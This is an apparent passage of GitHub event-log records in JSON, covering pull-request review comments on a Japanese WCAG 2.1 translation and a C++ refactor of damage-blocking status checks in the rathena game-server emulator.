smehringer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smehringer/subscriptions","organizations_url":"https://api.github.com/users/smehringer/orgs","repos_url":"https://api.github.com/users/smehringer/repos","events_url":"https://api.github.com/users/smehringer/events{/privacy}","received_events_url":"https://api.github.com/users/smehringer/received_events","type":"User","site_admin":false},"html_url":"https://github.com/smehringer/seqan3","description":"The modern C++ library for sequence analysis. Contains version 3 of the library and API docs.","fork":true,"url":"https://api.github.com/repos/smehringer/seqan3","forks_url":"https://api.github.com/repos/smehringer/seqan3/forks","keys_url":"https://api.github.com/repos/smehringer/seqan3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/smehringer/seqan3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/smehringer/seqan3/teams","hooks_url":"https://api.github.com/repos/smehringer/seqan3/hooks","issue_events_url":"https://api.github.com/repos/smehringer/seqan3/issues/events{/number}","events_url":"https://api.github.com/repos/smehringer/seqan3/events","assignees_url":"https://api.github.com/repos/smehringer/seqan3/assignees{/user}","branches_url":"https://api.github.com/repos/smehringer/seqan3/branches{/branch}","tags_url":"https://api.github.com/repos/smehringer/seqan3/tags","blobs_url":"https://api.github.com/repos/smehringer/seqan3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/smehringer/seqan3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/smehringer/seqan3/git/refs{/sha}","trees_url":"https://api.github.com/repos/smehringer/seqan3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/smehringer/seqan3/statuses/{sha}","languages_url":"https://api.github.com/repos/smehringer/seqan3/languages","stargazers_url":"https://api.github.com/repos/smehringer/seqan3/stargazers","contributors_url":"https://api.github.com/repos/smehringer/seqan3/contributors","subscribers_url":"https://api.github.com/repos/smehringer/seqan3/subscribers","subscription_url":"https://api.github.com/repos/smehringer/seqan3/subscription","commits_url":"https://api.github.com/repos/smehringer/seqan3/commits{/sha}","git_commits_url":"https://api.github.com/repos/smehringer/seqan3/git/commits{/sha}","comments_url":"https://api.github.com/repos/smehringer/seqan3/comments{/number}","issue_comment_url":"https://api.github.com/repos/smehringer/seqan3/issues/comments{/number}","contents_url":"https://api.github.com/repos/smehringer/seqan3/contents/{+path}","compare_url":"https://api.github.com/repos/smehringer/seqan3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/smehringer/seqan3/merges","archive_url":"https://api.github.com/repos/smehringer/seqan3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/smehringer/seqan3/downloads","issues_url":"https://api.github.com/repos/smehringer/seqan3/issues{/number}","pulls_url":"https://api.github.com/repos/smehringer/seqan3/pulls{/number}","milestones_url":"https://api.github.com/repos/smehringer/seqan3/milestones{/number}","notifications_url":"https://api.github.com/repos/smehringer/seqan3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/smehringer/seqan3/labels{/name}","releases_url":"https://api.github.com/repos/smehringer/seqan3/releases{/id}","deployments_url":"https://api.github.com/repos/smehringer/seqan3/deployments","created_at":"2017-03-21T14:00:28Z","updated_at":"2019-01-08T14:17:22Z","pushed_at":"2019-02-07T14:16:21Z","git_url":"git://github.com/smehringer/seqan3.git","ssh_url":"git@github.com:smehringer/seqan3.git","clone_url":"https://github.com/smehringer/seqan3.git","svn_url":"https://github.com/smehringer/seqan3","homepage":"http://www.seqan.de","size":3269,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"seqan:master","ref":"master","sha":"2a8c8bd3766aa1e3ff11729acb377744f0c575b3","user":{"login":"seqan","id":1752144,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NTIxNDQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1752144?v=4","gravatar_id":"","url":"https://api.github.com/users/seqan","html_url":"https://github.com/seqan","followers_url":"https://api.github.com/users/seqan/followers","following_url":"https://api.github.com/users/seqan/following{/other_user}","gists_url":"https://api.github.com/users/seqan/gists{/gist_id}","starred_url":"https://api.github.com/users/seqan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seqan/subscriptions","organizations_url":"https://api.github.com/users/seqan/orgs","repos_url":"https://api.github.com/users/seqan/repos","events_url":"https://api.github.com/users/seqan/events{/privacy}","received_events_url":"https://api.github.com/users/seqan/received_events","type":"Organization","site_admin":false},"repo":{"id":55410078,"node_id":"MDEwOlJlcG9zaXRvcnk1NTQxMDA3OA==","name":"seqan3","full_name":"seqan/seqan3","private":false,"owner":{"login":"seqan","id":1752144,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NTIxNDQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1752144?v=4","gravatar_id":"","url":"https://api.github.com/users/seqan","html_url":"https://github.com/seqan","followers_url":"https://api.github.com/users/seqan/followers","following_url":"https://api.github.com/users/seqan/following{/other_user}","gists_url":"https://api.github.com/users/seqan/gists{/gist_id}","starred_url":"https://api.github.com/users/seqan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seqan/subscriptions","organizations_url":"https://api.github.com/users/seqan/orgs","repos_url":"https://api.github.com/users/seqan/repos","events_url":"https://api.github.com/users/seqan/events{/privacy}","received_events_url":"https://api.github.com/users/seqan/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/seqan/seqan3","description":"The modern C++ library for sequence analysis. Contains version 3 of the library and API docs.","fork":false,"url":"https://api.github.com/repos/seqan/seqan3","forks_url":"https://api.github.com/repos/seqan/seqan3/forks","keys_url":"https://api.github.com/repos/seqan/seqan3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seqan/seqan3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seqan/seqan3/teams","hooks_url":"https://api.github.com/repos/seqan/seqan3/hooks","issue_events_url":"https://api.github.com/repos/seqan/seqan3/issues/events{/number}","events_url":"https://api.github.com/repos/seqan/seqan3/events","assignees_url":"https://api.github.com/repos/seqan/seqan3/assignees{/user}","branches_url":"https://api.github.com/repos/seqan/seqan3/branches{/branch}","tags_url":"https://api.github.com/repos/seqan/seqan3/tags","blobs_url":"https://api.github.com/repos/seqan/seqan3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seqan/seqan3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seqan/seqan3/git/refs{/sha}","trees_url":"https://api.github.com/repos/seqan/seqan3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seqan/seqan3/statuses/{sha}","languages_url":"https://api.github.com/repos/seqan/seqan3/languages","stargazers_url":"https://api.github.com/repos/seqan/seqan3/stargazers","contributors_url":"https://api.github.com/repos/seqan/seqan3/contributors","subscribers_url":"https://api.github.com/repos/seqan/seqan3/subscribers","subscription_url":"https://api.github.com/repos/seqan/seqan3/subscription","commits_url":"https://api.github.com/repos/seqan/seqan3/commits{/sha}","git_commits_url":"https://api.github.com/repos/seqan/seqan3/git/commits{/sha}","comments_url":"https://api.github.com/repos/seqan/seqan3/comments{/number}","issue_comment_url":"https://api.github.com/repos/seqan/seqan3/issues/comments{/number}","contents_url":"https://api.github.com/repos/seqan/seqan3/contents/{+path}","compare_url":"https://api.github.com/repos/seqan/seqan3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seqan/seqan3/merges","archive_url":"https://api.github.com/repos/seqan/seqan3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seqan/seqan3/downloads","issues_url":"https://api.github.com/repos/seqan/seqan3/issues{/number}","pulls_url":"https://api.github.com/repos/seqan/seqan3/pulls{/number}","milestones_url":"https://api.github.com/repos/seqan/seqan3/milestones{/number}","notifications_url":"https://api.github.com/repos/seqan/seqan3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seqan/seqan3/labels{/name}","releases_url":"https://api.github.com/repos/seqan/seqan3/releases{/id}","deployments_url":"https://api.github.com/repos/seqan/seqan3/deployments","created_at":"2016-04-04T12:39:15Z","updated_at":"2019-02-07T18:24:31Z","pushed_at":"2019-02-07T17:00:02Z","git_url":"git://github.com/seqan/seqan3.git","ssh_url":"git@github.com:seqan/seqan3.git","clone_url":"https://github.com/seqan/seqan3.git","svn_url":"https://github.com/seqan/seqan3","homepage":"http://www.seqan.de","size":3111,"stargazers_count":43,"watchers_count":43,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":26,"mirror_url":null,"archived":false,"open_issues_count":127,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":26,"open_issues":127,"watchers":43,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/seqan/seqan3/pulls/717"},"html":{"href":"https://github.com/seqan/seqan3/pull/717"},"issue":{"href":"https://api.github.com/repos/seqan/seqan3/issues/717"},"comments":{"href":"https://api.github.com/repos/seqan/seqan3/issues/717/comments"},"review_comments":{"href":"https://api.github.com/repos/seqan/seqan3/pulls/717/comments"},"review_comment":{"href":"https://api.github.com/repos/seqan/seqan3/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/seqan/seqan3/pulls/717/commits"},"statuses":{"href":"https://api.github.com/repos/seqan/seqan3/statuses/6b5798fe7e191e28e43e53c75a86855191b72ef4"}},"author_association":"MEMBER"}}
|
{
"id": 55410078,
"name": "seqan/seqan3",
"url": "https://api.github.com/repos/seqan/seqan3"
}
|
{
"id": 1529364,
"login": "rrahn",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1529364?",
"url": "https://api.github.com/users/rrahn"
}
|
{
"id": 1752144,
"login": "seqan",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1752144?",
"url": "https://api.github.com/orgs/seqan"
}
| 2019-02-07T18:55:33 |
9027730133
|
{"actor":{"display_login":"rrahn"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/waic/wcag21/pulls/comments/293684580","pull_request_review_id":249740791,"id":293684580,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5MzY4NDU4MA==","diff_hunk":"@@ -155,36 +156,32 @@ <h3>Additional Notes</h3>\n <h2>メリット</h2>\n <ul>\n \t\t\t\n- <li>Users with low vision who view content under magnification will be better able to view content on hover or focus without reducing their desired magnification.</li>\n+ <li>拡大の元コンテンツを見ているロービジョンの利用者は、望ましい拡大を減らさなくてもより上手くホバー又はフォーカスしたコンテンツ見ることができるようになる。</li>","path":"understanding/content-on-hover-or-focus.html","position":null,"original_position":132,"commit_id":"f743a3c81d6234e36133977194715595f7c1769d","original_commit_id":"5e754373057b824d0f247fca9bb404bfce94dfbc","user":{"login":"honoka-h","id":20085108,"node_id":"MDQ6VXNlcjIwMDg1MTA4","avatar_url":"https://avatars2.githubusercontent.com/u/20085108?v=4","gravatar_id":"","url":"https://api.github.com/users/honoka-h","html_url":"https://github.com/honoka-h","followers_url":"https://api.github.com/users/honoka-h/followers","following_url":"https://api.github.com/users/honoka-h/following{/other_user}","gists_url":"https://api.github.com/users/honoka-h/gists{/gist_id}","starred_url":"https://api.github.com/users/honoka-h/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/honoka-h/subscriptions","organizations_url":"https://api.github.com/users/honoka-h/orgs","repos_url":"https://api.github.com/users/honoka-h/repos","events_url":"https://api.github.com/users/honoka-h/events{/privacy}","received_events_url":"https://api.github.com/users/honoka-h/received_events","type":"User","site_admin":false},"body":"「拡大した」にしてみました。","created_at":"2019-06-14T07:12:25Z","updated_at":"2019-06-14T07:12:25Z","html_url":"https://github.com/waic/wcag21/pull/257#discussion_r293684580","pull_request_url":"https://api.github.com/repos/waic/wcag21/pulls/257","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/waic/wcag21/pulls/comments/293684580"},"html":{"href":"https://github.com/waic/wcag21/pull/257#discussion_r293684580"},"pull_request":{"href":"https://api.github.com/repos/waic/wcag21/pulls/257"}},"in_reply_to_id":292795231},"pull_request":{"url":"https://api.github.com/repos/waic/wcag21/pulls/257","id":284423238,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjg0NDIzMjM4","html_url":"https://github.com/waic/wcag21/pull/257","diff_url":"https://github.com/waic/wcag21/pull/257.diff","patch_url":"https://github.com/waic/wcag21/pull/257.patch","issue_url":"https://api.github.com/repos/waic/wcag21/issues/257","number":257,"state":"open","locked":false,"title":"SC 1.4.13: 「意図」から「失敗例」までを翻訳","user":{"login":"honoka-h","id":20085108,"node_id":"MDQ6VXNlcjIwMDg1MTA4","avatar_url":"https://avatars2.githubusercontent.com/u/20085108?v=4","gravatar_id":"","url":"https://api.github.com/users/honoka-h","html_url":"https://github.com/honoka-h","followers_url":"https://api.github.com/users/honoka-h/followers","following_url":"https://api.github.com/users/honoka-h/following{/other_user}","gists_url":"https://api.github.com/users/honoka-h/gists{/gist_id}","starred_url":"https://api.github.com/users/honoka-h/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/honoka-h/subscriptions","organizations_url":"https://api.github.com/users/honoka-h/orgs","repos_url":"https://api.github.com/users/honoka-h/repos","events_url":"https://api.github.com/users/honoka-h/events{/privacy}","received_events_url":"https://api.github.com/users/honoka-h/received_events","type":"User","site_admin":false},"body":"closes #205 \r\n\r\n翻訳しました。ご確認いただけますでしょうか。\r\n\r\nどうぞよろしくお願いいたします。","created_at":"2019-06-03T06:01:55Z","updated_at":"2019-06-14T07:12:25Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9ca636620105b758974f738c3b5e013a8d605b3e","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/waic/wcag21/pulls/257/commits","review_comments_url":"https://api.github.com/repos/waic/wcag21/pulls/257/comments","review_comment_url":"https://api.github.com/repos/waic/wcag21/pulls/comments{/number}","comments_url":"https://api.github.com/repos/waic/wcag21/issues/257/comments","statuses_url":"https://api.github.com/repos/waic/wcag21/statuses/f743a3c81d6234e36133977194715595f7c1769d","head":{"label":"waic:hatakeyama-edit-issue205","ref":"hatakeyama-edit-issue205","sha":"f743a3c81d6234e36133977194715595f7c1769d","user":{"login":"waic","id":1769275,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NjkyNzU=","avatar_url":"https://avatars2.githubusercontent.com/u/1769275?v=4","gravatar_id":"","url":"https://api.github.com/users/waic","html_url":"https://github.com/waic","followers_url":"https://api.github.com/users/waic/followers","following_url":"https://api.github.com/users/waic/following{/other_user}","gists_url":"https://api.github.com/users/waic/gists{/gist_id}","starred_url":"https://api.github.com/users/waic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/waic/subscriptions","organizations_url":"https://api.github.com/users/waic/orgs","repos_url":"https://api.github.com/users/waic/repos","events_url":"https://api.github.com/users/waic/events{/privacy}","received_events_url":"https://api.github.com/users/waic/received_events","type":"Organization","site_admin":false},"repo":{"id":122438306,"node_id":"MDEwOlJlcG9zaXRvcnkxMjI0MzgzMDY=","name":"wcag21","full_name":"waic/wcag21","private":false,"owner":{"login":"waic","id":1769275,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NjkyNzU=","avatar_url":"https://avatars2.githubusercontent.com/u/1769275?v=4","gravatar_id":"","url":"https://api.github.com/users/waic","html_url":"https://github.com/waic","followers_url":"https://api.github.com/users/waic/followers","following_url":"https://api.github.com/users/waic/following{/other_user}","gists_url":"https://api.github.com/users/waic/gists{/gist_id}","starred_url":"https://api.github.com/users/waic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/waic/subscriptions","organizations_url":"https://api.github.com/users/waic/orgs","repos_url":"https://api.github.com/users/waic/repos","events_url":"https://api.github.com/users/waic/events{/privacy}","received_events_url":"https://api.github.com/users/waic/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/waic/wcag21","description":"WCAG 2.1 Japanese","fork":false,"url":"https://api.github.com/repos/waic/wcag21","forks_url":"https://api.github.com/repos/waic/wcag21/forks","keys_url":"https://api.github.com/repos/waic/wcag21/keys{/key_id}","collaborators_url":"https://api.github.com/repos/waic/wcag21/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/waic/wcag21/teams","hooks_url":"https://api.github.com/repos/waic/wcag21/hooks","issue_events_url":"https://api.github.com/repos/waic/wcag21/issues/events{/number}","events_url":"https://api.github.com/repos/waic/wcag21/events","assignees_url":"https://api.github.com/repos/waic/wcag21/assignees{/user}","branches_url":"https://api.github.com/repos/waic/wcag21/branches{/branch}","tags_url":"https://api.github.com/repos/waic/wcag21/tags","blobs_url":"https://api.github.com/repos/waic/wcag21/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/waic/wcag21/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/waic/wcag21/git/refs{/sha}","trees_url":"https://api.github.com/repos/waic/wcag21/git/trees{/sha}","statuses_url":"https://api.github.com/repos/waic/wcag21/statuses/{sha}","languages_url":"https://api.github.com/repos/waic/wcag21/languages","stargazers_url":"https://api.github.com/repos/waic/wcag21/stargazers","contributors_url":"https://api.github.com/repos/waic/wcag21/contributors","subscribers_url":"https://api.github.com/repos/waic/wcag21/subscribers","subscription_url":"https://api.github.com/repos/waic/wcag21/subscription","commits_url":"https://api.github.com/repos/waic/wcag21/commits{/sha}","git_commits_url":"https://api.github.com/repos/waic/wcag21/git/commits{/sha}","comments_url":"https://api.github.com/repos/waic/wcag21/comments{/number}","issue_comment_url":"https://api.github.com/repos/waic/wcag21/issues/comments{/number}","contents_url":"https://api.github.com/repos/waic/wcag21/contents/{+path}","compare_url":"https://api.github.com/repos/waic/wcag21/compare/{base}...{head}","merges_url":"https://api.github.com/repos/waic/wcag21/merges","archive_url":"https://api.github.com/repos/waic/wcag21/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/waic/wcag21/downloads","issues_url":"https://api.github.com/repos/waic/wcag21/issues{/number}","pulls_url":"https://api.github.com/repos/waic/wcag21/pulls{/number}","milestones_url":"https://api.github.com/repos/waic/wcag21/milestones{/number}","notifications_url":"https://api.github.com/repos/waic/wcag21/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/waic/wcag21/labels{/name}","releases_url":"https://api.github.com/repos/waic/wcag21/releases{/id}","deployments_url":"https://api.github.com/repos/waic/wcag21/deployments","created_at":"2018-02-22T06:12:55Z","updated_at":"2019-06-02T08:36:06Z","pushed_at":"2019-06-14T07:11:09Z","git_url":"git://github.com/waic/wcag21.git","ssh_url":"git@github.com:waic/wcag21.git","clone_url":"https://github.com/waic/wcag21.git","svn_url":"https://github.com/waic/wcag21","homepage":null,"size":832,"stargazers_count":12,"watchers_count":12,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":null,"forks":0,"open_issues":66,"watchers":12,"default_branch":"master"}},"base":{"label":"waic:Understanding-20190306-ED","ref":"Understanding-20190306-ED","sha":"8d0b0c9f115ac7f928df1c5437aaf4f18c114c5d","user":{"login":"waic","id":1769275,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NjkyNzU=","avatar_url":"https://avatars2.githubusercontent.com/u/1769275?v=4","gravatar_id":"","url":"https://api.github.com/users/waic","html_url":"https://github.com/waic","followers_url":"https://api.github.com/users/waic/followers","following_url":"https://api.github.com/users/waic/following{/other_user}","gists_url":"https://api.github.com/users/waic/gists{/gist_id}","starred_url":"https://api.github.com/users/waic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/waic/subscriptions","organizations_url":"https://api.github.com/users/waic/orgs","repos_url":"https://api.github.com/users/waic/repos","events_url":"https://api.github.com/users/waic/events{/privacy}","received_events_url":"https://api.github.com/users/waic/received_events","type":"Organization","site_admin":false},"repo":{"id":122438306,"node_id":"MDEwOlJlcG9zaXRvcnkxMjI0MzgzMDY=","name":"wcag21","full_name":"waic/wcag21","private":false,"owner":{"login":"waic","id":1769275,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NjkyNzU=","avatar_url":"https://avatars2.githubusercontent.com/u/1769275?v=4","gravatar_id":"","url":"https://api.github.com/users/waic","html_url":"https://github.com/waic","followers_url":"https://api.github.com/users/waic/followers","following_url":"https://api.github.com/users/waic/following{/other_user}","gists_url":"https://api.github.com/users/waic/gists{/gist_id}","starred_url":"https://api.github.com/users/waic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/waic/subscriptions","organizations_url":"https://api.github.com/users/waic/orgs","repos_url":"https://api.github.com/users/waic/repos","events_url":"https://api.github.com/users/waic/events{/privacy}","received_events_url":"https://api.github.com/users/waic/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/waic/wcag21","description":"WCAG 2.1 Japanese","fork":false,"url":"https://api.github.com/repos/waic/wcag21","forks_url":"https://api.github.com/repos/waic/wcag21/forks","keys_url":"https://api.github.com/repos/waic/wcag21/keys{/key_id}","collaborators_url":"https://api.github.com/repos/waic/wcag21/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/waic/wcag21/teams","hooks_url":"https://api.github.com/repos/waic/wcag21/hooks","issue_events_url":"https://api.github.com/repos/waic/wcag21/issues/events{/number}","events_url":"https://api.github.com/repos/waic/wcag21/events","assignees_url":"https://api.github.com/repos/waic/wcag21/assignees{/user}","branches_url":"https://api.github.com/repos/waic/wcag21/branches{/branch}","tags_url":"https://api.github.com/repos/waic/wcag21/tags","blobs_url":"https://api.github.com/repos/waic/wcag21/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/waic/wcag21/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/waic/wcag21/git/refs{/sha}","trees_url":"https://api.github.com/repos/waic/wcag21/git/trees{/sha}","statuses_url":"https://api.github.com/repos/waic/wcag21/statuses/{sha}","languages_url":"https://api.github.com/repos/waic/wcag21/languages","stargazers_url":"https://api.github.com/repos/waic/wcag21/stargazers","contributors_url":"https://api.github.com/repos/waic/wcag21/contributors","subscribers_url":"https://api.github.com/repos/waic/wcag21/subscribers","subscription_url":"https://api.github.com/repos/waic/wcag21/subscription","commits_url":"https://api.github.com/repos/waic/wcag21/commits{/sha}","git_commits_url":"https://api.github.com/repos/waic/wcag21/git/commits{/sha}","comments_url":"https://api.github.com/repos/waic/wcag21/comments{/number}","issue_comment_url":"https://api.github.com/repos/waic/wcag21/issues/comments{/number}","contents_url":"https://api.github.com/repos/waic/wcag21/contents/{+path}","compare_url":"https://api.github.com/repos/waic/wcag21/compare/{base}...{head}","merges_url":"https://api.github.com/repos/waic/wcag21/merges","archive_url":"https://api.github.com/repos/waic/wcag21/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/waic/wcag21/downloads","issues_url":"https://api.github.com/repos/waic/wcag21/issues{/number}","pulls_url":"https://api.github.com/repos/waic/wcag21/pulls{/number}","milestones_url":"https://api.github.com/repos/waic/wcag21/milestones{/number}","notifications_url":"https://api.github.com/repos/waic/wcag21/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/waic/wcag21/labels{/name}","releases_url":"https://api.github.com/repos/waic/wcag21/releases{/id}","deployments_url":"https://api.github.com/repos/waic/wcag21/deployments","created_at":"2018-02-22T06:12:55Z","updated_at":"2019-06-02T08:36:06Z","pushed_at":"2019-06-14T07:11:09Z","git_url":"git://github.com/waic/wcag21.git","ssh_url":"git@github.com:waic/wcag21.git","clone_url":"https://github.com/waic/wcag21.git","svn_url":"https://github.com/waic/wcag21","homepage":null,"size":832,"stargazers_count":12,"watchers_count":12,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":null,"forks":0,"open_issues":66,"watchers":12,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/waic/wcag21/pulls/257"},"html":{"href":"https://github.com/waic/wcag21/pull/257"},"issue":{"href":"https://api.github.com/repos/waic/wcag21/issues/257"},"comments":{"href":"https://api.github.com/repos/waic/wcag21/issues/257/comments"},"review_comments":{"href":"https://api.github.com/repos/waic/wcag21/pulls/257/comments"},"review_comment":{"href":"https://api.github.com/repos/waic/wcag21/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/waic/wcag21/pulls/257/commits"},"statuses":{"href":"https://api.github.com/repos/waic/wcag21/statuses/f743a3c81d6234e36133977194715595f7c1769d"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 122438306,
"name": "waic/wcag21",
"url": "https://api.github.com/repos/waic/wcag21"
}
|
{
"id": 20085108,
"login": "honoka-h",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/20085108?",
"url": "https://api.github.com/users/honoka-h"
}
|
{
"id": 1769275,
"login": "waic",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1769275?",
"url": "https://api.github.com/orgs/waic"
}
| 2019-06-14T07:12:25 |
9821435915
|
{"actor":{"display_login":"honoka-h"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/rathena/rathena/pulls/comments/272781912","pull_request_review_id":223525929,"id":272781912,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3Mjc4MTkxMg==","diff_hunk":"@@ -977,62 +977,218 @@ static void battle_absorb_damage(struct block_list *bl, struct Damage *d) {\n }\n \n /**\n- * Check Safety Wall and Pneuma effect.\n- * Maybe expand this to move checks the target's SC from battle_calc_damage?\n- * @param src Attacker\n- * @param target Target of attack\n- * @param sc STatus Change\n- * @param d Damage data\n- * @param damage Damage received\n- * @param skill_id\n- * @param skill_lv\n- * @return True:Damage inflicted, False:Missed\n+ * Check for active statuses that block damage\n+ * @param src: Attacker\n+ * @param target: Target of attack\n+ * @param sc: STatus Change\n+ * @param d: Damage data\n+ * @param damage: Damage received\n+ * @param skill_id: Skill ID\n+ * @param skill_lv: Skill level\n+ * @return True: Damage inflicted, False: Missed\n **/\n bool battle_check_sc(struct block_list *src, struct block_list *target, struct status_change *sc, struct Damage *d, int64 damage, uint16 skill_id, uint16 skill_lv) {\n \tif (!sc)\n \t\treturn true;\n \n-\tif (sc->data[SC_SAFETYWALL] && (d->flag&(BF_SHORT|BF_MAGIC)) == BF_SHORT) {\n-\t\tstruct skill_unit_group* group = skill_id2group(sc->data[SC_SAFETYWALL]->val3);\n-\t\tuint16 skill_id_val = sc->data[SC_SAFETYWALL]->val2;\n+\tstruct status_change_entry *sce;\n+\tint flag = d->flag;\n+\n+\t// ATK_BLOCK Type\n+\tif ((sce = sc->data[SC_SAFETYWALL]) && (flag&(BF_SHORT | BF_MAGIC)) == BF_SHORT) {\n+\t\tstruct skill_unit_group *group = skill_id2group(sce->val3);\n \n \t\tif (group) {\n-\t\t\tif (skill_id_val == MH_STEINWAND) {\n-\t\t\t\tif (--group->val2 <= 0)\n+\t\t\td->dmg_lv = ATK_BLOCK;\n+\n+\t\t\tswitch (sce->val2) {\n+\t\t\tcase MG_SAFETYWALL:\n+\t\t\t\tif (--group->val2 <= 0) {\n \t\t\t\t\tskill_delunitgroup(group);\n-\t\t\t\td->dmg_lv = ATK_BLOCK;\n-\t\t\t\tif( (group->val3 - damage) > 0 )\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+#ifdef RENEWAL\n+\t\t\t\tif ((group->val3 - damage) > 0)\n \t\t\t\t\tgroup->val3 -= (int)cap_value(damage, INT_MIN, INT_MAX);\n \t\t\t\telse\n \t\t\t\t\tskill_delunitgroup(group);\n-\t\t\t\treturn false;\n+#endif\n+\t\t\t\tbreak;\n+\t\t\tcase MH_STEINWAND:\n+\t\t\t\tif (--group->val2 <= 0) {\n+\t\t\t\t\tskill_delunitgroup(group);\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+\t\t\t\tif ((group->val3 - damage) > 0)\n+\t\t\t\t\tgroup->val3 -= (int)cap_value(damage, INT_MIN, INT_MAX);\n+\t\t\t\telse\n+\t\t\t\t\tskill_delunitgroup(group);\n+\t\t\t\tbreak;\n \t\t\t}\n-\t\t\t//in RE, SW possesses a lifetime equal to group val2, (3x caster hp, or homon formula)\n+\t\t\treturn false;\n+\t\t}\n+\t\tstatus_change_end(target, SC_SAFETYWALL, INVALID_TIMER);\n+\t}\n+\n+\tif ((sc->data[SC_PNEUMA] && (flag&(BF_MAGIC | BF_LONG)) == BF_LONG) ||\n+\t\t(sc->data[SC_BASILICA] && !status_bl_has_mode(src, MD_STATUS_IMMUNE)) ||\n+\t\t(sc->data[SC_ZEPHYR] && !(flag&BF_MAGIC && skill_id) && !(skill_get_inf(skill_id)&(INF_GROUND_SKILL | INF_SELF_SKILL))) ||\n+\t\tsc->data[SC__MANHOLE] ||\n+\t\tsc->data[SC_KINGS_GRACE]\n+\t\t)\n+\t{\n+\t\td->dmg_lv = ATK_BLOCK;\n+\t\treturn false;\n+\t}\n+\n+\tif (sc->data[SC_WHITEIMPRISON]) { // Gravitation and Pressure do damage without removing the effect\n+\t\tif (skill_id == MG_NAPALMBEAT ||\n+\t\t\tskill_id == MG_SOULSTRIKE ||\n+\t\t\tskill_id == WL_SOULEXPANSION ||\n+\t\t\t(skill_id && skill_get_ele(skill_id, skill_lv) == ELE_GHOST) ||\n+\t\t\t(!skill_id && (status_get_status_data(src))->rhw.ele == ELE_GHOST))\n+\t\t{\n+\t\t\tif (skill_id == WL_SOULEXPANSION)\n+\t\t\t\tdamage <<= 1; // If used against a player in White Imprison, the skill deals double 